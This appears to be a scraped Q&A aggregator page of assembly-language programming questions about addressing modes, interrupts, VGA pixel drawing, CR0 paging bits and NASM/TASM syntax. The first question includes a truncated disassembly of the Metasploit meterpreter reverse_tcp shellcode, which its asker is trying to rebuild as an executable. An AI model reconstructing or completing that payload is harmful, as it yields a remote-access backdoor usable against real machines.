assembly

Why is this assembly program crashing (re-assembled ndisasm output)?

社会主义新天地 提交于 2021-01-29 12:39:57
问题 I extracted the assembly code of the windows/meterpreter/reverse_tcp payload with lhost set to 127.0.0.1 and lport set to 443 , however after building the assembly program with fasm the program crashes, any ideas as to why? assembly code: format PE console use32 entry start start: pusha mov ebp,esp xor edx,edx mov edx,[fs:edx+0x30] mov edx,[edx+0xc] mov edx,[edx+0x14] xor edi,edi movzx ecx,word [edx+0x26] mov esi,[edx+0x28] xor eax,eax lodsb cmp al,0x61 jl 0x27 sub al,0x20 ror edi, 0xd add

Trying to disable paging through cr0 register

三世轮回 提交于 2021-01-29 11:11:54
问题 I'm trying to disable paging completely with an LKM (don't ask me why I'm just experimenting). I've tried just changing the value directly with the LKM. void disable_paging(void) { asm("movq %cr0, %rax\n\t" "movq $0xFFFFFFFEFFFFFFFF, %rbx\n\t" "and %rbx, %rax\n\t" "movq %rax, %cr0\n\t"); } Well the expected result would be the bit being flipped. The actual result is a segfault. 回答1: TL:DR: This can't work, but your attempt didn't disable paging because you cleared bit 32 instead of bit 31.

How i can access a variable data using a variable value in adress like [ var_+[second_byte] ]?

社会主义新天地 提交于 2021-01-29 11:00:55
问题 I got this code: BITS 16 data: bytemap: db 0x0, 0x1, 0x4; pixel_x: db 2; to return the 0x4 value main: ; code... mov al, [bytemap+[pixel_x]]; i need that byte in al register ; more code... jmp main; but nasm returns "expression syntax error", i tryed using mov bl, [pixel_x]; mov al, [bytemap+bl] , but don't work, how the right way to do it? ( if it exists )... 回答1: You need to use pointer-width registers in addressing modes . x86 doesn't have memory-indirect addressing modes, only register

Returning to the next instruction following the one stored in Eip register

谁说胖子不能爱 提交于 2021-01-29 09:25:53
问题 I have written a assembly function that handles an interrupt. I want to return to the instruction following the one that caused the interrupt. Here is my code, pushl %ebp movl %esp,%ebp pushal movl %esp, %eax pushl %eax pushl $0 call divzero addl $8, %esp /* add 8 to the stack pointer to skip the two variables*/ popal popl %ebp /* restore %ebp */ popl %eax /* pop return address from stack and store in eax */ add $4, %eax /* add 4 to value of eax to get the address of next instruction */ jmp

finding index of the array in tasm assembly language and printing it

倖福魔咒の 提交于 2021-01-29 09:23:55
问题 I have made a tasm assembly language program, which finds the minimum in the user-inputted array. I want to find the index of the element of the minimum value which the program is finding. I want to find the index of the element which the program finds. For example: input array is [1,2,3,4,5,6]. It should return 1 as minimum value and 0 as index. Here is the code. Data Segment msg db 0dh,0ah,"Please enter the length of the array: $" msg1 db 0dh,0ah,"Enter a number: $" newl db 0dh,0ah," $" res

Can't add relative quantities, assembly error

假如想象 提交于 2021-01-29 09:20:28
问题 so for a project i need to program a game in 80386 (32-bit processor). To draw a pixel we got this example code from the teacher: -first set the video mode: MOV ah, 00h MOV al, 13h INT 10h -drawing the pixel: MOV ESI, 0A0000H ; frame buffer address MOV EDI, 320 * 2 + 10; add the appropriate offset MOV AL, 10 ; index in the colour palette MOV [EDI], AL ; change pixel at column 10 of row 2 This code works perfectly, but in my game code i want to add in the data the x and y positions of the

How to do a reverse offset/index in x86 [duplicate]

这一生的挚爱 提交于 2021-01-29 06:12:09
问题 This question already has answers here : Can't subtract registers in an addressing mode? (3 answers) Subtracting registers with an LEA instruction? (1 answer) Referencing the contents of a memory location. (x86 addressing modes) (2 answers) Printing an integer as a string with AT&T syntax, with Linux system calls instead of printf (2 answers) Closed 4 months ago . I am trying to do a negative offset for memory addressing. This is to convert a number to a string and make sure that it doesn't

Reset a string variable to print multitple user inputs in a loop (NASM Assembly)

匆匆过客 提交于 2021-01-29 05:40:09
问题 I'm using a 64 bits Linux system, and I'm trying to use NASM to build a program that asks the user for input, and then prints it. Afterwards, the user can choose to do the same again, or exit. My issue is that the variable 'text', which is used to store the user's input, is not reset at the end of each execution, so something like this happens: User enters text the 1st time: Helloooooooooooooooooooooooooooooo Output: Helloooooooooooooooooooooooooooooo User enters text the 2nd time: Boom!

How to call a function in an external assembly file [duplicate]

試著忘記壹切 提交于 2021-01-29 05:38:07
问题 This question already has answers here : calling assembly function from c (4 answers) Calling an assembly function from C (2 answers) Passing parameters from C to GNU Assembly function in 64bit (1 answer) Closed 6 days ago . I am trying to go from a C function to a function with inline-asm to a standalone function in an assembly file. Here is what I have so far: #include <stdio.h> int add_five(int n) { n = n + 5; return n; } int add_five_inline(int n) { asm("lea 5(%1), %0" : "=r" (n) : "r" (n

Assembly - Moving through a register/array with an offset of 5

放肆的年华 提交于 2021-01-29 05:20:53
问题 Quick question. This code will not compile: mov eax, dword [rbx+rsi*5] I don't expect it to, with the explaination that mov and multiplication are two different CPU operations. The only reason it can be achieved is through bit-shifting. However, this does compile: mov eax, dword [lst+rsi*5] With "lst" being a variable array. It also produces output when used in context (so the code compiles AND runs). What's the explanation for why this works? yasm -Worphan-labels -g dwarf2 -f elf64 NAME.asm